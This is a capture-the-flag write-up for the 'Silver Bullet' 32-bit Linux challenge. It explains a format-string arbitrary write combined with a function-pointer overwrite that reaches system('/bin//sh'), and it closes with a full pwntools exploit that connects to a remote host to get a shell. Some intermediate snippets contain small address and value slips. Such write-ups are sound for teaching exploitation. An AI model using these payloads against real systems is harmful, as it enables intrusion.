You’ve got one silver bullet, pull the triggle carefully!
We’re given 32-bit Linux binary:
Silver_Bullet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4e82d2545f78e6611f83f48a98f2ad3a90d4d03b, stripped
Understanding the problem
Running checksec on the binary:
- Relro: As we can see the binary is compiled with full relro so GOT is read-only.
- Stack:There is no stack cookie between saved return address and buffers.
- NX: Areas of memory are either executable or writable.
- PIE: Code segment is always placed on the same address.
Getting a look at the binary
By running the elf we see that it echo’s our input and prints Call2, goodbye.
Just by interacting with the program let’s search for some common vulnerabilities.
1-Search for a buffer overflow.
2-Search for a format string vuln.
So just by interacting with the program we got to know that there might a buffer overflow and a format string vulnerability (although we can’t write to GOT).
If we look at the functions imported we see
system which gives us a good direction in terms of what we have to do…
We probably will need to jump to the function that is calling system, so let’s see where it is.
Let’s see who’s calling
sub_8048695 is calling
Let’s have a look at it.
We can see that this function receives an argument, arg_0, and simple calls
To be easier to remember we’re going to call it
Looking again at the xrefs we see that
sub_80486C7 is calling
By looking at the logic of this function, to jump to
call_system the address 0x804A02C must be equal to one and the argument is at the address 0x804A30, both of this address are in the bss memory which has read/write permissions, let’s call this function choose_arg.
Analyse main function
Main allocates a buffer of size 0x108, let’s call it input, and reads from stdin 0x100 bytes. So there’s no buffer overflow? Segfault can’t be happening on main then. Another way to see it is that exit() is called, therefore the return address is never “poped” from the stack. We can see that main is calling a function, sub_804872D, with a pointer to our input as argument. Let’s call this function vuln.
Analyse the vuln function
First it compares our input with “1” and depending on the result it places a pointer to a function on the stack, both functions are uninteresting they just print to stdout different things: “Call1, goodbye” ; “Call2, goodbye”. After vuln prints our input, then copies it to the stack, to the destination address, remember that main read 0x100, we see that there is an overflow of the pointer_to_function.
Note that it is not possible to overwrite the return address because a check is done in order to prevent it, so the only option here is to overwrite the function_pointer.
Before the call to function_pointer is made, a simple check is done, the content of the “function_pointer - 0x4” must be “0x4EC8310” so we can’t jump to wherever we want.
Searching the binary with this opcode we find 6 occurrences one of them being the choose_arg function that we’ve analysed before.
At this point its pretty obvious that we need to overwrite function_pointer with choose_arg function pointer.
Distance between destination and function_pointer is less than 0x100 so a overwrite on function_pointer possible.
What we know
We can overwrite the pointer_function so the program calls choose_arg instead.
We must place the value 1 on the address “0x804A02C” and we have to put an address on “0x804A030” that points to system argument in order to call call_system(argument).
To overwrite the function_pointer we need 20 bytes of padding.
choose_arg = 0x80486C7 function_pointer = p32(choose_arg) payload = 'A'*20 + function_pointer
Like this we’re jumping to choose_arg function but because content of “0x0804A02C” != 1, the program flow is not reaching
Writing to an arbitrary address with a format string vulnerability is pretty easy, but it will print at least 4 characters, the address where we want to write to, but we need to write the value 1. So if the minimum value we can write to an address is 4 how can we write the value 1?
Remember: we need to write 1 on the address “0x0804A02C”.
Well this is a bit tricky, what we can do is write to “0x804A02C-0x1” 0x100 placing “00” on “0x0804A02b” and “01” on the address “0x804A02C”.
Data segment layout will look like: 0x804A02B->00 0x804A02C->01 There was an "overflow" and we started to write to "0x804A02C"
write_0x100_addr = p32(0x804A02B) choose_arg = 0x80486C7 function_pointer = p32(choose_arg) payload = write_0x100 payload += "%s" + str(0x100-0x4) + "p" + "%20$n" #want to write 0x100, but we have printed 4 bytes from write_0x100_addr payload = payload.ljust(20, 'A') #fill with 'A' until len = 20 so we can overwrite function_pointer payload += function_pointer
Now we need to set the argument for
As we know the address “0x804A030” contains a pointer to the
call_system argument, but it was not initialized, and we wish it as a pointer to /bin/sh string
We have to do 2 things.
1.write /bin/sh to somewhere in memory.
2.write the address of /bin/sh in 0x0804A030
We need to find a place we’re we can both write and read. As we’ve seen before bss has those permissions. Through format string vuln we can do both writes so let’s place our string in “0x0804A020”.
The string used was /bin//sh.
Note: We probably could use just "sh" and the result would be the same but much more simpler and easy.
Then we simply need to write in “0x0804A030” the address of the string “0x0804A020”
The data segment will look like this: 0x0804A020 -> "b/" = 0x622f 0x0804A022 -> "ni" = 0x6e60 0x0804A024 -> "//" = 0x2f2f 0x0804A026 -> "hs" = 0x6873 ... 0x0804A030 -> 0x0804 0x0804A032 -> 0xA020
We will write to the addresses 2 byte at the same time.
Placing the addresses on the stack
The order at which the addresses are put on the input buffer is irrelevant, we just need to be careful with the offset.
write_0x100_addr = p32(0x0804A02b) choose_arg = 0x080486C7 function_pointer = p32(choose_arg) bin_sh_addr = 0x0804A020 arg_addr = 0x0804A030 payload = write_0x100_addr payload += "%"+str(0x100-4)+"p"+ "%20$n" payload = payload.ljust(20, "A") # = 6*'A' payload += function_pointer payload += p32(arg_addr+2) # offset 26 payload += p32(arg_addr) # offset 27 payload += p32(bin_sh_addr+4) # offset 28 payload += p32(bin_sh_addr) # offset 29 payload += p32(bin_sh_addr+6) # offset 30 payload += p32(bin_sh_addr+2) # offset 31 # written 0x122 = 290
The stack will look like this: 0x0804A032 0x0804A030 0x0804A024 0x0804A020 0x0804A026 0x0804A022 Note: It could have another layout but we would need to change the offset's.
So far we have written 0x100 + 6(‘A’) + 4*7 = 0x122 bytes
Now we need to write in ascending order:
1. 0x0804 2. 0x2f2f 3. 0x622f 4. 0x6873 5. 0x6e60 6. 0xA020 Since we have already printed 0x122 bytes, then we need to print 0x0804-0x122 = 1762 bytes in order to write 0x0804. Now we have printed 0x0804 bytes, so to write 0x2f2f to the address we actually need to print 0x2f2f-0x804 = 10027, and so on...
from pwn import * write_0x100_addr = p32(0x0804A02b) choose_arg = 0x080486C7 function_pointer = p32(choose_arg) bin_sh_addr = 0x0804A020 arg_addr = 0x0804A030 payload = write_0x100_addr payload += "%"+str(0x100-4)+"p"+ "%20$n" payload = payload.ljust(20, "A") payload += function_pointer payload += p32(arg_addr+2) payload += p32(arg_addr) payload += p32(bin_sh_addr+4) payload += p32(bin_sh_addr) payload += p32(bin_sh_addr+6) payload += p32(bin_sh_addr+2) #written 0x122 = 290 payload += "%1762p" payload += "%26$hn" #written 0x804 payload += "%10027p" payload += "%28$hn" #written 0x2f2f payload += "%13056p" payload += "%29$hn" #written 0x622f payload += "%1604p" payload += "%30$hn" #written 0x6873 payload += "%1526p" payload += "%31$hn" #written 0x6e69 payload += "%12727p" payload += "%27$hn" p = remote("188.8.131.52", 7331) p.sendline(payload) p.interactive() # got shell p.close()